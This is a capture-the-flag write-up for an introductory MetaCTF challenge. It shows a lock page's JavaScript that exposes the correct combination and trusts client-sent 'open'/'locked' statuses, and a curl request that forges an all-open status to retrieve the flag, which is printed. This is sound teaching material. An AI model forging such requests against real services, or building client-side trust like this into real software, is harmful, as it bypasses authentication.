This is an introductory client side authentication challenge. While each click of "unlock" does send a request to the server, the request itself contains the locked status of each of the four wheels.
There's effectively three solutions to this challenge:
By right clicking and viewing the source of the webpage, we see that the javascript is fairly simple and all fits into one page:
<script>
const wheels = document.querySelectorAll('.wheel');
const correctCombination = ['6', '8', '7', '2'];
const messageElement = document.getElementById('message');
const accessDeniedSound = new Audio('access_denied.mp3');
const accessGrantedSound = new Audio('access_granted.mp3');
wheels.forEach(wheel => {
wheel.addEventListener('click', () => {
let currentValue = parseInt(wheel.textContent);
wheel.textContent = (currentValue + 1) % 10;
});
});
function checkCombination() {
const combination = Array.from(wheels).map(wheel => wheel.textContent);
const status = combination.map((num, index) => num === correctCombination[index] ? 'open' : 'locked');
console.log(status);
// Send the status to the server (example using fetch)
fetch('/check-combination', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({ status })
})
.then(response => response.json())
.then(data => {
if (status.every(s => s === 'open')) {
accessGrantedSound.play();
messageElement.textContent = data.message;
messageElement.style.color = '#27ae60';
messageElement.classList.remove('shake');
// Disable the wheels
wheels.forEach(wheel => {
wheel.style.pointerEvents = 'none';
});
// Keep the message visible
messageElement.classList.add('show');
} else {
accessDeniedSound.play();
messageElement.textContent = 'Access Denied';
messageElement.style.color = '#e74c3c';
messageElement.classList.add('shake');
messageElement.classList.add('show'); // Ensure the message is shown
setTimeout(() => {
messageElement.classList.remove('shake');
}, 500); // Remove shake class after animation
// Hide message after 1 second
setTimeout(() => {
messageElement.classList.remove('show');
}, 1000);
}
})
.catch(error => {
console.error('Error:', error);
});
}
</script>
Most excitingly, we see a variable named correctCombination, set to the array ['6', '8', '7', '2']! Trying that combination opens the webpage and we get our flag!
If instead of viewing the source for the webpage, we watch the network requests, we'll see that trying to unlock the page sends a request that looks like
POST http://bs5v0fze.chals.mctf.io/check-combination HTTP/1.1
Content-Type: application/json
Some other headers we don't care about...
{"status":["locked","locked","locked","locked"]}
Interesting, it looks like instead of sending a pincode, we're instead sending four statuses, each of which is "locked". Trying all 10 positions on the first wheel will eventually give a post request that sends {"status":["open","locked","locked","locked"]}! This means we cracked the first wheel! Doing the same for the other three wheels will open the lock and give us the flag!
Since we see that we're simply sending statuses to the check-combination endpoint instead of the combinations themselves, we don't even have to crack the combination! Instead, we can just send our own request that pretends we opened all four wheels:
curl -X POST http://host5.metaproblems.com:7510/check-combination -H "Content-Type: application/json" -d '{"status":["open","open","open","open"]}'
{"message":"MetaCTF{3arly_m0rn1ng_c0ff33_4nd_h4cking}"}
MetaCTF{3arly_m0rn1ng_c0ff33_4nd_h4cking}